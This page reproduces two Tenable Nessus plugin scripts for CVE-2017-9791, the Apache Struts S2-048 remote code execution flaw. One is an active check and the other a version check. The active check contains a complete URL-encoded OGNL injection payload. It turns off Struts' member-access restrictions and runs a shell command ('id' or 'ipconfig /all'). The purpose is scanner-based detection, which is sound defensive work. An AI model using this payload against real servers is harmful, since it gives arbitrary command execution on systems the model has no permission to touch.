Vulnerabilities > CVE-2017-9791 - Improper Input Validation vulnerability in Apache Struts

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(102918);
  script_version("1.9");
  script_cvs_date("Date: 2019/11/12");

  script_cve_id("CVE-2017-9791");
  script_bugtraq_id(99484);

  script_name(english:"Apache Struts 2.3.x Struts 1 plugin RCE (remote)");
  script_summary(english:"Attempts to execute arbitrary commands on the remote web server.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework which is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Struts 1 plugin in Apache Struts 2.3.x is affected by a remote 
code execution vulnerability via a malicious field value passed in a 
raw message to the ActionMessage class.");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-048.html");
  script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-048");
  script_set_attribute(attribute:"solution", value:
"Refer to the s2-048 vendor advisory for mitigation options");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-9791");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Struts 1 Plugin ActionMessage < 2.3.32 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/07/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/09/01");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("http.inc");
include("misc_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

vuln = FALSE;
urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);

unix_cmd = 'id';
win_cmd = 'ipconfig%20%2Fall';
data = "age=20&__checkbox_bustedBefore=true&name=%25%7B%28%23_%3D%27multipart%2Fform-data%27%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%27"+win_cmd+"%27%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%27"+unix_cmd+"%27%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&description=1";


foreach url (urls)
{
  res = http_send_recv3(
    method       : "POST",
    item         : url,
    port         : port,
    data         : data,
    exit_on_fail : TRUE,
    content_type: "application/x-www-form-urlencoded"
  );

  if ("Windows IP" >< res[2] || "uid" >< res[2])
  {
    if (res[2] =~ "uid=[0-9]+.*gid=[0-9]+.*")
    {
      output = strstr(res[2], "uid");
      if (!empty_or_null(output))
      {
        vuln = TRUE;
        vuln_url = build_url(qs:url, port:port);
        break;
      }
    }
    else if (res[2] =~ "Subnet Mask|Windows IP|IP(v(4|6)?)? Address")
    {
      output = strstr(res[2], "Windows IP");
      if (!empty_or_null(output))
      {
        vuln = TRUE;
        vuln_url = build_url(qs:url, port:port);
        break;
      }
    }
  }
  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(http_last_sent_request()),
  output     : chomp(output)
);

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(101361);
  script_version("1.10");
  script_cvs_date("Date: 2019/02/15 10:32:14");

  script_cve_id("CVE-2017-9791");
  script_bugtraq_id(99484);

  script_name(english:"Apache Struts 2.3.x Showcase App Struts 1 Plugin ActionMessage Class Error Message Input Handling RCE (S2-048)");
  script_summary(english:"Checks if Struts 2.3.x version is installed.");

  script_set_attribute(attribute:"synopsis", value:
"The remote Windows host contains a web application that uses a Java
framework that is affected by a potential remote code execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Apache Struts running on the remote Windows host is
2.3.x. It is, therefore, potentially affected by a remote code
execution vulnerability in the Struts 1 plugin showcase app in the
ActionMessage class due to improper validation of user-supplied input
passed via error messages. An unauthenticated, remote attacker can
exploit this to execute arbitrary code.

Note that Nessus has not tested for this issue but has instead
relied only on the application's self-reported version number.");
  script_set_attribute(attribute:"see_also", value:"https://struts.apache.org/docs/s2-048.html");
  script_set_attribute(attribute:"solution", value:
"Refer to the vendor advisory for recommendations on passing data
to the 'ActionMessage' class.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-9791");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts 2 Struts 1 Plugin ActionMessage < 2.3.32 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 Struts 1 Plugin Showcase OGNL Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"agent", value:"all");
  script_set_attribute(attribute:"vuln_publication_date", value:"2017/07/07");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/07/11");

  script_set_attribute(attribute:"potential_vulnerability", value:"true");
  script_set_attribute(attribute:"plugin_type", value:"combined");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2018-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin");
  script_require_keys("Settings/ParanoidReport");
  script_require_ports("installed_sw/Apache Struts","installed_sw/Struts");

  exit(0);
}

include("vcf.inc");

if (report_paranoia < 2) audit(AUDIT_PARANOID);


app_info = vcf::combined_get_app_info(app:"Apache Struts");

vcf::check_granularity(app_info:app_info, sig_segments:3);

constraints = [
  { "min_version" : "2.3.0", "fixed_version" : "2.3.33" }
];

vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);